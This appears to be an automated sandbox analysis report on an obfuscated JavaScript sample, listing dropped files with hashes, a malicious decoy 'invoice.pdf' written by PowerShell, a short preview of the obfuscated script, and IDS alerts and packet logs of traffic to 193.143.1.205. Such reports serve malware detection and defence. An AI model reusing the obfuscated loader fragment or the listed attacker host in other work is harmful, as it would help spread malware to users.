SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\c8796a1e-fd70-4856-b8a3-88dde1f9b3fa.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\f060a67c-6108-471f-92f0-7fc0b240fa4a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15604), with CRLF line terminators
Entropy (8bit):	4.937745411090382
TrID:
File name:	1808220077299634192.js
File size:	19'101 bytes
MD5:	5d911a75d1f239452adca53d9e72b603
SHA1:	c1bfb2cb220593bbc6c68ba6a27d2fa1eb2dd65c
SHA256:	e09194ee8ecbb95d0e02a3a0fc16bb5bc03dc0b339bd29880a5cbeaa0e08a86a
SHA512:	2e84421ba10386b142a96c7bf71ccc94620387cfed2dc922b11d21a9ea2162562a5ef2ab632d46ac8d0ed706820a21bf39950f84627aff9c1c0e7c60fe98e3d6
SSDEEP:	192:OjiMVSqGyI2nnfSfCbXraoTfqz6G2ZY9iYAqqtRWVVm2WqXZHYhCV0+/t:qiMoqjdfICbXraMfqz6/7twydo/t
TLSH:	EE8250CF8285C6D8A4C7A1B5E34A507730EC964CE690F59DE8829C957712B3ACEC1DF2
File Content Preview:	function kfrrxzl(){avrpzwy=[1031,3079,5127,4103,2055,3072];var bekbpkj=this[cxaeyll+iqmmkx+bwcdgtk+abofmspwd+hjphrh+vfxkzch+mxictkzer+sjrkjd](this[jgdbzwteb+cbqcyn+bsfifas+bwcdgtk+dqinm+cxaeyll+sjrkjd][swszmx+bwcdgtk+hjphrh+iqmmkx+sjrkjd+hjphrh+difmau+nrb

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T19:37:26.580229+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49711	193.143.1.205	80	TCP
2025-01-10T19:37:28.819127+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49722	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:37:25.751919031 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:25.756818056 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:25.756886005 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:25.761298895 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:25.766165972 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.580104113 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.580169916 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.580180883 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.580193996 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.580229044 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.580239058 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.580252886 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.580265045 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.580276966 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.580288887 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.580301046 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.580305099 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.580306053 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.580329895 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.580348015 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.585099936 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.626027107 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.626046896 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.626060009 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.626104116 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.626127958 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.704682112 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.704695940 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.704708099 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.704720974 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.704734087 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.704803944 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.704863071 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.705025911 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.705043077 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.705054998 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.705074072 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.705080986 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.705095053 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.705107927 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.705152988 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.705914974 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.706075907 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.706087112 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.706118107 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.706209898 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.706257105 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.706270933 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.706285000 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.706296921 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.706326008 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.706836939 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.706892967 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.706926107 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.712907076 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.712938070 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.712987900 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.715698957 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.715744019 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.715779066 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.756635904 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.758280039 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.758294106 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.758305073 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.758364916 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.758482933 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.758497000 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.758538008 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.795217037 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.795229912 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.795315981 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.848566055 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.848613024 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.848625898 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.848684072 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.848701000 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.848712921 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.848726034 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.848818064 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.848818064 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.848819017 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.849096060 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.849108934 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.849145889 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.849179029 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.849193096 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.849203110 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.849217892 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.849227905 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.849232912 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.849252939 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.849292994 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.850066900 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.850167036 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.850181103 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.850193024 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.850204945 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.850218058 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.850230932 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.850230932 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.850292921 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.851006985 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.851031065 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.851044893 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.851068020 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.851089954 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.851100922 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.851114988 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.851135015 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.851146936 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.851175070 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.851200104 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.852082014 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.852096081 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.852108955 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.852121115 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.852134943 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.852139950 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.852148056 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.852163076 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.852175951 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.852206945 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.852971077 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.852984905 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.852998972 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.853020906 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.853061914 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.882518053 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.882531881 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.882611036 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.882736921 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.882750988 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.882765055 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.882805109 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.884253025 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.884265900 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.884290934 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.884316921 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.884337902 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.884341955 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.884354115 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.884365082 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.884387016 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.928577900 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.938601971 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.938646078 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.938726902 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.953797102 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.953811884 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.953826904 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.953840017 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.953855038 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.953866959 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.953880072 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.953891039 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.953892946 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.953907013 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.953919888 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.953933954 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.953943014 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.953973055 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.954148054 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.954160929 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.954174995 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.954199076 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.954225063 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.954262018 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.954277992 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.954292059 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.954304934 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.954320908 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.954333067 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.954338074 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.954345942 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.954360008 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.954360008 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.954379082 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.954404116 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.955039024 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.955051899 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.955110073 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.955193043 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.955216885 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.955229044 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.955243111 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.955255032 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.955265045 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.955267906 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.955281019 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.955292940 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.955295086 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.955307961 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.955311060 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.955347061 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.956058979 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.956072092 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.956091881 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.956106901 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.956110954 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.956125021 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.956137896 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.956141949 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.956151009 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.956163883 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.956166029 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.956176996 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.956199884 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.956212997 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.956233025 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.972285986 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.972301006 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.972313881 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.972326994 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.972359896 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.972385883 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.972470045 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.972485065 CET	80	49711	193.143.1.205	192.168.2.6
